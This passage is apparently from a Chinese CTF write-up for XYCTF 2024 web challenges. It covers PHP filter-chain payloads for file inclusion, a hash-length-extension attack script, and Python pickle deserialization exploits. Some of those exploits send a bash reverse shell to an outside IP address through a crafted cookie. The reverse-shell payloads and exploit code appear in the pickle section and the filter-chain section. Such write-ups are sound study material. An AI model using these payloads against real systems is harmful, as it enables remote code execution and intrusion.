// 小写字母的转换规则
// 同样使用各种稀奇古怪的字符编码转换组合来混淆数据
'a' => 'convert.iconv.CP1046.UTF32|convert.iconv.L6.UCS-2|convert.iconv.UTF-16LE.T.61-8BIT|convert.iconv.865.UCS-4LE',
'b' => 'convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-2.OSF00030010|convert.iconv.CSIBM1008.UTF32BE',
'c' => 'convert.iconv.L4.UTF32|convert.iconv.CP1250.UCS-2',
'd' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UJIS|convert.iconv.852.UCS2',
'e' => 'convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UTF16.EUC-JP-MS|convert.iconv.ISO-8859-1.ISO_6937',
'f' => 'convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213',
'g' => 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8',
'h' => 'convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE',
'i' => 'convert.iconv.DEC.UTF-16|convert.iconv.ISO8859-9.ISO_6937-2|convert.iconv.UTF16.GB13000',
'j' => 'convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.iconv.CP950.UTF16',
'k' => 'convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2',
'l' => 'convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE',
'm' => 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.CP1163.CSA_T500|convert.iconv.UCS-2.MSCP949',
'n' => 'convert.iconv.ISO88594.UTF16|convert.iconv.IBM5347.UCS4|convert.iconv.UTF32BE.MS936|convert.iconv.OSF00010004.T.61',
'o' => 'convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-4LE.OSF05010001|convert.iconv.IBM912.UTF-16LE',
'p' => 'convert.iconv.IBM891.CSUNICODE|convert.iconv.ISO8859-14.ISO6937|convert.iconv.BIG-FIVE.UCS-4',
'q' => 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.GBK.CP932|convert.iconv.BIG5.UCS2',
'r' => 'convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.ISO-IR-99.UCS-2BE|convert.iconv.L4.OSF00010101',
's' => 'convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90',
't' => 'convert.iconv.864.UTF32|convert.iconv.IBM912.NAPLPS',
'u' => 'convert.iconv.CP1162.UTF32|convert.iconv.L4.T.61',
'v' => 'convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT|convert.iconv.ISO_6937-2:1983.R9|convert.iconv.OSF00010005.IBM-932',
'w' => 'convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE',
'x' => 'convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS',
'y' => 'convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT',
'z' => 'convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937'
);
// 初始化过滤链,首先进行base64编码
$filters = "convert.base64-encode|";
$filters .= "convert.iconv.UTF8.UTF7|";
// 遍历反转后的base64_payload中的每个字符
foreach (str_split(strrev($base64_payload)) as $c) {
// 为每个字符添加对应的转换规则链
$filters .= $conversions[$c] . "|";
// 添加base64解码和编码步骤,用于进一步混淆数据
$filters .= "convert.base64-decode|";
$filters .= "convert.base64-encode|";
// 添加UTF8到UTF7的转换,继续混淆数据
$filters .= "convert.iconv.UTF8.UTF7|";
}
// 最后添加base64解码完成整个转换链
$filters .= "convert.base64-decode";
// 构建最终payload,使用php://filter协议和构建的过滤链读取/etc/passwd文件
$final_payload = "php://filter/{$filters}/resource=/etc/passwd";
var_dump($final_payload);
|
运行后打payload然后就可以执行命令cmd=system(’/readflag’);
此方法没上个方法简洁,但是字母映射表很全所以记录一下。
连连看到底是连连什么看
这个题跟上面的题一样,可以用上面的官方脚本进行构造内容改成XYCTF的base64编码就行,当然此题还可以利用其它工具,不过源码和上面原理差不多。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
|
<?php
highlight_file(__FILE__);
error_reporting(0);
$p=$_GET['p'];
if(preg_match("/http|=|php|file|:|\/|\?/i", $p))
{
die("waf!");
}
$payload="php://filter/$p/resource=/etc/passwd";
if(file_get_contents($payload)==="XYCTF"){
echo file_get_contents('/flag');
}
|
打php_filter_chain
GitHub - synacktiv/php_filter_chain_generator
1
|
python php_filter_chain_generator.py --chain 'XYCTF'
|
直接打XYCTF不行,因为比较是强比较,而这个转换后会有垃圾字符,这时候利用<配合string.strip_tags
过滤器剔除垃圾字符,即剔除<
后面的所有垃圾字符。
1
|
python php_filter_chain_generator.py --chain "XYCTF<"
|
1
2
|
p=convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.iconv.UHC.CP1361|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM860.UTF16|convert.iconv.ISO-IR-143.ISO2022CNEXT|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode|string.strip_tags
|
也可以用这个项目跑https://github.com/wupco/PHP_INCLUDE_TO_SHELL_CHAR_DICT?tab=readme-ov-file,下面分享的探姬文章讲的很好
1
|
p=convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UTF16|convert.iconv.L6.UTF-16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.iconv.UHC.CP1361|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM860.UTF16|convert.iconv.ISO-IR-143.ISO2022CNEXT|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode|string.strip_tags
|
XYCTF2024wp | HvAng’s Nests
下面探姬大佬的文章对上面2题都讲了一下,还算详细
【idekCTF 2022】Paywall — Filter链构造和扩展 - 飞书云文档
单论做而言其实我感觉着两个项目讲的有点多余了,上面ezLFl的代码就可以解决,但是这里还是又学习一下这个filter链,顺便用了一下这两个项目。
give me flag
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
|
<?php
include('flag.php');
$FLAG_md5 = md5($FLAG);
if(!isset($_GET['md5']) || !isset($_GET['value']))
{
highlight_file(__FILE__);
die($FLAG_md5);
}
$value = $_GET['value'];
$md5 = $_GET['md5'];
$time = time();
if(md5($FLAG.$value.$time)===$md5)
{
echo "yes, give you flag: ";
echo $FLAG;
}
48260abecbc53b255f3fdb8f39c4b489
|
打一个哈希拓展延伸,以前写过了Basectf-所有web-wp-CSDN博客,这里所以你说你懂 MD5?
详细讲了此题
设一个不知道内容的字符串a,我们知道a字符串md5 值和a的长度和已知b的一部分(拓展字符,若没用提供也没关系,但提供了就要考虑进去计算,否则计算出的不是原b字符),就可以算出(a+b)的md5值,这里a就是FLAG,b就是value.time。
这里拓展字符是时间戳,这个time()时间戳是动态的怎么处理?其实只需要要计算当前的时间戳,然后往上加个几十秒(这段时间供你填参数),然后写代码,持续发送请求即可。
计算当前时间戳
1
2
3
|
<?php
$time=time();
echo $time;
|
哈希长度拓展工具代码,这个需要私包
GitHub - shellfeel/hash-ext-attack: 哈希长度扩展攻击利用脚本,免去了hashpump需要编译的烦恼下载后与此代码放同一目录即可运行
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
|
import sys
from loguru import logger
from common.HashExtAttack import HashExtAttack
def main():
hash_ext_attack = HashExtAttack()
logger.remove()
logger.add(sys.stderr, level="INFO")
hash_ext_attack.input_run()
if __name__ == '__main__':
main()
|
参数就这个(flag是uuid模式就是36+XYCTF{}7个字符就是43),当时时间戳是1745397600,我填的1745397700,留足够的时间填参数
注意value不要带上时间戳time().
1
2
3
4
5
6
7
8
9
10
|
import requests
url = "http://gz.imxbt.cn:20206/?value=%80%00%00%00%00%00%00%00%00%00%00%00%00X%01%00%00%00%00%00%00&md5=d0d430dc54fd23b970fb394cee49caa8"
while True:
res=requests.get(url)
if"XYCTF" in res.text:
print(res.text)
break
|
login
目录扫描得到register.php
注册一个账号后,然后登入抓包,发现了base64编码的数据,有很多A字符
解码发现存有用户信息且发现环境是python,那就是打pickle反序列化
存在过滤(好像是r被过滤,reduce打不了),普通打法打不了,用 opcode 加反弹shell来rce
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
|
import base64
import requests
shell = b'''bash -c "bash -i >& /dev/tcp/101.200.39.193/5000 0<&1"''' # 反弹shell语句
url = "http://gz.imxbt.cn:20243/"
payload = b'''(ctimeit
timeit
(cos
system
V''' + shell + b'''
oo.'''
payload = base64.b64encode(payload).decode()
header = {"Cookie": "RememberMe=" + payload}
r = requests.get(url, headers=header)
|
当然有最简版本
1
2
3
4
5
6
7
|
import base64
a = b'''(cos
system
S'bash -c "bash -i >& /dev/tcp/[ip]/2333 0>&1"'
o.
'''
print(base64.b64encode(a).decode())
|
pickle反序列化初探-先知社区
最近碰到的 Python pickle 反序列化小总结-先知社区
Baby_Unserialize
看不懂,java都没学,留几篇文章在这吧
探索Java反序列化绕WAF新姿势 - 飞书云文档
【Web】2024XYCTF题解(全)_xyctf2024-CSDN博客
XYCTF2024-Web方向题解-CSDN博客